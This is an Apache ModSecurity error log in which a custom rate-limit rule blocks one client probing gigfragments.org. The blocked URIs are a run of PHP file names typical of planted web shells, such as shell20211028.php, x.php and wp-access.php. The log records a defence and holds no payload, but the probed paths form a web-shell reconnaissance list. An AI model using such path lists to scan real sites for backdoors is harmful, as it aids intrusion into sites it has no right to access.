[Thu May 07 08:45:48.562965 2026] [:error] [pid 56150:tid 56159] [client 20.9.85.117:55508] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "afvgvNu4duXJJeTigXTiQAAAAEc"]
[Thu May 07 08:45:48.941037 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55497] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "afvgvNu4duXJJeTigXTiQQAAAEo"]
[Thu May 07 08:45:49.321036 2026] [:error] [pid 56150:tid 56155] [client 20.9.85.117:55291] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "afvgvdu4duXJJeTigXTiQwAAAEM"]
[Thu May 07 08:45:49.710060 2026] [:error] [pid 56066:tid 56129] [client 20.9.85.117:55490] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "afvgvUYS8DGwDvklLv52mAAAAMY"]
[Thu May 07 08:45:50.091436 2026] [:error] [pid 56066:tid 56132] [client 20.9.85.117:55236] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "afvgvkYS8DGwDvklLv52mwAAAMk"]
[Thu May 07 08:45:50.463454 2026] [:error] [pid 56066:tid 56147] [client 20.9.85.117:55290] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "afvgvkYS8DGwDvklLv52nQAAANg"]
[Thu May 07 08:45:50.852064 2026] [:error] [pid 56066:tid 56131] [client 20.9.85.117:55260] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "afvgvkYS8DGwDvklLv52nwAAAMg"]
[Thu May 07 08:45:51.233149 2026] [:error] [pid 56065:tid 56103] [client 20.9.85.117:55233] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "afvgv3dV4hYThdnhfxCtlgAAAIc"]
[Thu May 07 08:45:51.608820 2026] [:error] [pid 56150:tid 56176] [client 20.9.85.117:55253] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "afvgv9u4duXJJeTigXTiRwAAAFg"]
[Thu May 07 08:45:51.982201 2026] [:error] [pid 56150:tid 56152] [client 20.9.85.117:55489] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "afvgv9u4duXJJeTigXTiSgAAAEA"]
[Thu May 07 08:45:52.362917 2026] [:error] [pid 56150:tid 56172] [client 20.9.85.117:55527] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "afvgwNu4duXJJeTigXTiTQAAAFQ"]
[Thu May 07 08:45:52.739895 2026] [:error] [pid 56066:tid 56135] [client 20.9.85.117:55274] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "afvgwEYS8DGwDvklLv52oQAAAMw"]
[Thu May 07 08:45:53.115017 2026] [:error] [pid 56066:tid 56127] [client 20.9.85.117:55522] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "afvgwUYS8DGwDvklLv52ogAAAMQ"]
[Thu May 07 08:45:53.498413 2026] [:error] [pid 56066:tid 56136] [client 20.9.85.117:55510] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "afvgwUYS8DGwDvklLv52pAAAAM0"]
[Thu May 07 08:45:53.891035 2026] [:error] [pid 56150:tid 56156] [client 20.9.85.117:55286] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "afvgwdu4duXJJeTigXTiUAAAAEQ"]
[Thu May 07 08:45:54.283582 2026] [:error] [pid 56150:tid 56155] [client 20.9.85.117:55491] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "afvgwtu4duXJJeTigXTiUgAAAEM"]
[Thu May 07 08:45:54.657553 2026] [:error] [pid 56150:tid 56165] [client 20.9.85.117:55243] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "afvgwtu4duXJJeTigXTiVAAAAE0"]
[Thu May 07 08:45:55.035884 2026] [:error] [pid 56066:tid 56144] [client 20.9.85.117:55239] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "afvgw0YS8DGwDvklLv52qAAAANU"]
[Thu May 07 08:45:55.414950 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55505] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "afvgw9u4duXJJeTigXTiVwAAAEg"]
[Thu May 07 08:45:55.794919 2026] [:error] [pid 56065:tid 56109] [client 20.9.85.117:55246] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-firewall.php"] [unique_id "afvgw3dV4hYThdnhfxCtnAAAAI0"]
[Thu May 07 08:45:56.171781 2026] [:error] [pid 56064:tid 56076] [client 20.9.85.117:55448] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "afvgxCsGkZZUEf_7QCP_JgAAAAc"]
[Thu May 07 08:45:56.553117 2026] [:error] [pid 56065:tid 56110] [client 20.9.85.117:55252] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "afvgxHdV4hYThdnhfxCtnQAAAI4"]
[Thu May 07 08:45:56.936301 2026] [:error] [pid 56150:tid 56168] [client 20.9.85.117:55247] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "afvgxNu4duXJJeTigXTiXwAAAFA"]
[Thu May 07 08:45:57.312140 2026] [:error] [pid 56066:tid 56129] [client 20.9.85.117:55273] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "afvgxUYS8DGwDvklLv52sAAAAMY"]
[Thu May 07 08:45:57.684915 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55498] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "afvgxdu4duXJJeTigXTiZQAAAEg"]
[Thu May 07 08:45:58.074762 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55528] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "afvgxtu4duXJJeTigXTidAAAAEo"]
[Thu May 07 08:45:58.446763 2026] [:error] [pid 56150:tid 56174] [client 20.9.85.117:55266] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "afvgxtu4duXJJeTigXTifAAAAFY"]
[Thu May 07 08:45:58.826475 2026] [:error] [pid 56150:tid 56171] [client 20.9.85.117:55511] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wuasr.php"] [unique_id "afvgxtu4duXJJeTigXTifgAAAFM"]
[Thu May 07 08:45:59.204379 2026] [:error] [pid 56150:tid 56152] [client 20.9.85.117:55501] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "afvgx9u4duXJJeTigXTifwAAAEA"]
[Thu May 07 08:45:59.576437 2026] [:error] [pid 56065:tid 56097] [client 20.9.85.117:55542] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "afvgx3dV4hYThdnhfxCt0QAAAIE"]
[Thu May 07 08:45:59.949213 2026] [:error] [pid 56066:tid 56129] [client 20.9.85.117:55249] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "afvgx0YS8DGwDvklLv52wAAAAMY"]
[Thu May 07 08:46:00.324923 2026] [:error] [pid 56066:tid 56128] [client 20.9.85.117:55264] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "afvgyEYS8DGwDvklLv52wQAAAMU"]
[Thu May 07 08:46:00.701932 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55250] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "afvgyNu4duXJJeTigXTihAAAAEo"]
[Thu May 07 08:46:01.080640 2026] [:error] [pid 56150:tid 56169] [client 20.9.85.117:55268] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "afvgydu4duXJJeTigXTihwAAAFE"]
[Thu May 07 08:46:01.456252 2026] [:error] [pid 56150:tid 56159] [client 20.9.85.117:55289] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "afvgydu4duXJJeTigXTiigAAAEc"]
[Thu May 07 08:46:01.831383 2026] [:error] [pid 56065:tid 56119] [client 20.9.85.117:55279] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "afvgyXdV4hYThdnhfxCt2AAAAJc"]
[Thu May 07 08:46:02.207568 2026] [:error] [pid 56150:tid 56158] [client 20.9.85.117:55492] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "afvgytu4duXJJeTigXTijwAAAEY"]
[Thu May 07 08:46:02.584155 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55431] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "afvgytu4duXJJeTigXTikQAAAEo"]
[Thu May 07 08:46:02.956284 2026] [:error] [pid 56150:tid 56165] [client 20.9.85.117:55433] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "afvgytu4duXJJeTigXTikwAAAE0"]
[Thu May 07 08:46:03.331826 2026] [:error] [pid 56150:tid 56172] [client 20.9.85.117:55294] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "afvgy9u4duXJJeTigXTilAAAAFQ"]
[Thu May 07 08:46:03.707120 2026] [:error] [pid 56066:tid 56134] [client 20.9.85.117:55262] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "afvgy0YS8DGwDvklLv52xQAAAMs"]
[Thu May 07 08:46:04.083095 2026] [:error] [pid 56065:tid 56111] [client 20.9.85.117:55503] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "afvgzHdV4hYThdnhfxCt2wAAAI8"]
[Thu May 07 08:46:04.454254 2026] [:error] [pid 56066:tid 56137] [client 20.9.85.117:55525] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "afvgzEYS8DGwDvklLv52xgAAAM4"]
[Thu May 07 08:46:04.835359 2026] [:error] [pid 56066:tid 56123] [client 20.9.85.117:55526] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "afvgzEYS8DGwDvklLv52yAAAAMA"]
[Thu May 07 08:46:05.220359 2026] [:error] [pid 56150:tid 56162] [client 20.9.85.117:55295] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "afvgzdu4duXJJeTigXTimgAAAEo"]
[Thu May 07 08:46:05.599133 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55284] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "afvgzdu4duXJJeTigXTingAAAEg"]
[Thu May 07 08:46:05.979254 2026] [:error] [pid 56066:tid 56136] [client 20.9.85.117:55280] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "afvgzUYS8DGwDvklLv52yQAAAM0"]
[Thu May 07 08:46:06.357354 2026] [:error] [pid 56066:tid 56131] [client 20.9.85.117:55271] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "afvgzkYS8DGwDvklLv52ywAAAMg"]
[Thu May 07 08:46:06.732616 2026] [:error] [pid 56066:tid 56128] [client 20.9.85.117:55283] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "afvgzkYS8DGwDvklLv52zQAAAMU"]
[Thu May 07 08:46:07.125122 2026] [:error] [pid 56150:tid 56154] [client 20.9.85.117:55261] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "afvgz9u4duXJJeTigXTipAAAAEI"]
[Thu May 07 08:46:07.498014 2026] [:error] [pid 56065:tid 56102] [client 20.9.85.117:55513] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "afvgz3dV4hYThdnhfxCt3QAAAIY"]
[Thu May 07 08:46:07.882574 2026] [:error] [pid 56065:tid 56099] [client 20.9.85.117:55267] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "afvgz3dV4hYThdnhfxCt3wAAAIM"]
[Thu May 07 08:46:08.257554 2026] [:error] [pid 56065:tid 56109] [client 20.9.85.117:55529] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "afvg0HdV4hYThdnhfxCt4QAAAI0"]
[Thu May 07 08:46:08.635976 2026] [:error] [pid 56150:tid 56160] [client 20.9.85.117:55549] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "afvg0Nu4duXJJeTigXTipwAAAEg"]
[Thu May 07 08:46:09.013299 2026] [:error] [pid 56064:tid 56081] [client 20.9.85.117:55547] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "afvg0SsGkZZUEf_7QCP_QgAAAAw"]
[Thu May 07 08:46:09.387764 2026] [:error] [pid 56150:tid 56157] [client 20.9.85.117:55259] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "afvg0du4duXJJeTigXTirgAAAEU"]
[Thu May 07 08:46:09.775021 2026] [:error] [pid 56150:tid 56167] [client 20.9.85.117:55500] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afvg0du4duXJJeTigXTirwAAAE8"]
